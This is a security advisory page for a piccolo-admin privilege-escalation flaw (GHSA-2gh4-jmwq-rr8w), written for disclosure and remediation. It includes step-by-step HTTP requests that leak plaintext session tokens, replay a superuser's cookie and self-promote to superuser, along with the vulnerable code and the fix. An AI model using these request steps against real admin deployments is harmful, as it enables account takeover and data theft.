Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

piccolo-admin has a privilege escalation issue - admin to superuser via session-token disclosure in GET /api/tables/sessions/GHSA-2gh4-jmwq-rr8w

HIGHFix: piccolo-orm/piccolo_api#331

GHSA-2gh4-jmwq-rr8w is a high-severity (CVSS 8.8) Information Exposure vulnerability in piccolo-admin. A fix is available for piccolo-admin — see the affected versions and patch details below.

Also known asCVE-2026-55485PYSEC-2026-3882
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 12, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-2gh4-jmwq-rr8w.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs45th percentile — riskier than 45% of all scored CVEsHighest risk
0.00%0.35%0.71%1.06%0.4%0.6%0.6%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-2gh4-jmwq-rr8w by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 385,987 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐍piccolo-admin

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

piccolo_admin uses a helper called superuser_validators to gate access to the user and session tables for non-superusers. The helper rejects PUT, PATCH, DELETE, and POST, but does not reject GET.

The sessions table stores live session tokens in plaintext, and the token column is not marked secret=True, so it is included in every GET response. Any non-superuser admin can therefore list every other user's live session token with one request, replay the token as their own Cookie: id=…, impersonate that user (including the superuser), and then permanently self-promote by writing superuser = true on their own row.

The chain is reachable on a realistic, documented configuration: a deployer adds the Sessions (and User) tables to create_admin([...]) so superusers have a UI to monitor and revoke sessions.

Affected component

  • File: piccolo_admin/endpoints.py
  • Function: superuser_validators (around line 419)
def superuser_validators(piccolo_crud: PiccoloCRUD, request: Request):
    user: BaseUser = request.user.user
    if not user.superuser:
        if request.method.upper() in ["PUT", "PATCH", "DELETE", "POST"]:
            raise HTTPException(
                detail="Only superusers can perform these actions.",
                status_code=405,
            )

The method check is a deny-list instead of an allow-list; GET is absent. Compounding the issue, SessionsBase.token in piccolo_api/session_auth/tables.py is a Varchar without secret=True, so the default exclude_secrets=True in PiccoloCRUD does not strip it.

Preconditions

  1. Network reachability to the admin.
  2. Valid credentials for a non-superuser admin (admin=True, superuser=False — the default role created by BaseUser.create_user(admin=True)).
  3. The deployment includes the Sessions table (and typically the User table) in create_admin([...]) — the documented pattern for "active sessions" management UIs.

Steps to reproduce

  1. Log in as the non-superuser admin (john / john123). Open the Piccolo User table and confirm john's SUPERUSER column is ✗. (See Screenshot 1.)

    <img width="3024" height="1430" alt="01-john-piccolo_user-list" src="https://github.com/user-attachments/assets/31a6f81e-7d12-434a-ac99-ff64e15511f9" />
  2. Attempt the target write directly. Send the following request:

    PATCH /api/tables/piccolo_user/2/ HTTP/1.1
    Host: target:8001
    Content-Type: application/json
    Cookie: id=<john's session>; csrftoken=<token>
    X-CSRFToken: <token>
    
    {"superuser": true}
    

    The server returns:

    HTTP/1.1 405
    {"detail":"Only superusers can perform these actions."}
    

    The same response is shown both in the dashboard banner (Screenshot 2) and in Burp Repeater (Screenshot 3). This establishes the privilege boundary that the bug will break.

    <img width="3024" height="2158" alt="02-john-save-blocked-405" src="https://github.com/user-attachments/assets/81f4b0b6-fe58-43da-b63e-6161e5911fc0" />
<img width="1213" height="713" alt="03-john-save-blocked-405" src="https://github.com/user-attachments/assets/2eb33b00-a209-4e92-b18b-1f6520dde702" />
  1. Leak the credential. As the same john user, request:

    GET /api/tables/sessions/ HTTP/1.1
    Host: target:8001
    Cookie: id=<john's session>; csrftoken=<token>
    

    Response: 200 OK containing every active session in plaintext, e.g.

    {"rows":[
      {"token":"jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE","user_id":1, ...},
      {"token":"...","user_id":2, ...},
      ...
    ]}
    

    Copy the token value of any row whose user_id matches the superuser. That string IS the live session cookie of that user. (Screenshot 4.)

    <img width="1512" height="850" alt="04-john-sees-all-session-tokens" src="https://github.com/user-attachments/assets/3303231f-ed87-4b32-8cab-7aa480315529" />
  2. Replay the step-2 PATCH with the stolen cookie. Send the exact same request as step 2, changing only the Cookie: id= value to the stolen token:

    PATCH /api/tables/piccolo_user/2/ HTTP/1.1
    Host: target:8001
    Content-Type: application/json
    Cookie: id=jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE; csrftoken=<token>
    X-CSRFToken: <token>
    
    {"superuser": true}
    

    Response: 200 OK, body shows "superuser": true for john. (Screenshot 5.)

    <img width="1213" height="713" alt="05-john-self-promote" src="https://github.com/user-attachments/assets/4399866a-06e8-4568-b599-922a5b16805e" />
  3. Verify persistence. Log in fresh as john / john123 (no stolen cookie). John is now a superuser. The stolen cookie is no longer needed — the elevation is permanent on john's own row.

Impact

Full superuser takeover of the admin from any non-superuser admin account. The promoted attacker can:

  • read/write/delete any row in any table the admin exposes;
  • revoke any other session, locking out other admins;
  • change any user's password;
  • export data (including via the bulk CSV download forms);
  • plant payloads (e.g. CSV-formula injections) that fire when higher-trust operators open exports.

Persistence is automatic — once the attacker writes superuser=true on their own row in step 4, the stolen cookie can be discarded.

Suggested fix

Primary (single-line): make superuser_validators reject all requests from non-superusers — there is no legitimate non-superuser use case for the user or session tables in this context:

def superuser_validators(piccolo_crud, request):
    if not request.user.user.superuser:
        raise HTTPException(
            status_code=403,
            detail="Only superusers can access this resource.",
        )

Defence in depth: in piccolo_api/session_auth/tables.py, mark SessionsBase.token with secret=True. The existing exclude_secrets=True default on PiccoloCRUD then strips the field from every response, closing the leak even if the validator is later misconfigured by a downstream consumer.

Severity

CVSS 3.1: 8.8 HIGH — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Reasoning:

  • AV:N — accessible over the network.
  • AC:L — single GET; no race or timing dependency.
  • PR:L — requires non-superuser admin credentials (the default admin role).
  • UI:N — no victim interaction needed.
  • S:U — scope kept Unchanged to be conservative; some auditors may prefer S:C (which yields 9.9 Critical) because crossing from admin to superuser breaks an explicit, named privilege gate.
  • C:H / I:H / A:H — full read, full write, full availability impact on the admin's data and on other users' sessions.

Weaknesses

  • CWE-269 Improper Privilege Management (primary)
  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
  • CWE-863 Incorrect Authorization

Notes for the maintainer

  • The vulnerability is reachable on any version where superuser_validators uses a method deny-list and SessionsBase.token is not secret=True. I tested against piccolo_admin 1.13.0 + piccolo_api 1.9.0.
  • The shipped admin_demo does not expose the Sessions table, so the bug is not reproducible against the demo as-shipped. The PoC harness used a minimal create_admin([..., TableConfig(User), TableConfig(Sessions)], auth_table=User, session_table=Sessions) configuration, which mirrors the documented "Sessions admin view" pattern.
  • I'm happy to coordinate disclosure timing and validate any candidate patch.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpiccolo-adminall versions1.14.0pip install --upgrade 'piccolo-admin==1.14.0'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for piccolo-admin, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update piccolo-admin to 1.14.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2gh4-jmwq-rr8w is resolved across your whole dependency graph.

  3. Workarounds

    Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.

Frequently Asked Questions

## Summary `piccolo_admin` uses a helper called `superuser_validators` to gate access to the user and session tables for non-superusers. The helper rejects `PUT`, `PATCH`, `DELETE`, and `POST`, but **does not reject `GET`**. The `sessions` table stores live session tokens **in plaintext**, and the token column is not marked `secret=True`, so it is included in every `GET` response. Any non-superuser admin can therefore list every other user's live session token with one request, replay the token as their own `Cookie: id=…`, impersonate that user (including the superuser), and then permanently
O3 Security · Impact-Aware SCA

Is GHSA-2gh4-jmwq-rr8w in your dependencies?

Find it across PyPI, including transitive dependencies.

piccolo-admin has a privilege escalation issue - admin to…